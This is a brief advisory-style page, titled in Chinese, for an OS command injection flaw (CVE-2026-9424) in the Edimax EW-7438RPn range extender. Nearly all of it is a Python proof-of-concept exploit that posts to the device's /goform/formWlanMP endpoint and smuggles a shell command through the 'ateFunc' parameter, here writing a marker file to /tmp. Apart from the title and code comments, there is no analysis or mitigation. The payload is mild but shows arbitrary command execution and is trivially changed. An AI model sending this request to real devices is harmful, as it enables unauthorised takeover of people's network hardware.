CVE-2026-9424 Edimax EW-7438RPn OS命令注入漏洞

import requests # Target URL (vulnerable endpoint) target_url = "http://<TARGET_IP>/goform/formWlanMP" # Vulnerable parameters # The vulnerability exists in multiple parameters like ateFunc, ateGain, etc. # We inject a simple command to create a file as proof of concept. payload = { "ateFunc": "test; echo 'CVE-2026-9424_VULNERABLE' > /tmp/poc.txt;", "ateGain": "0", "ateTxCount": "0", "ateChan": "6", "ateRate": "0", "ateMacID": "00:11:22:33:44:55", "e2pTxPower1": "100" } try: print("[+] Sending payload to target...") response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check /tmp/poc.txt on the target device to verify command execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")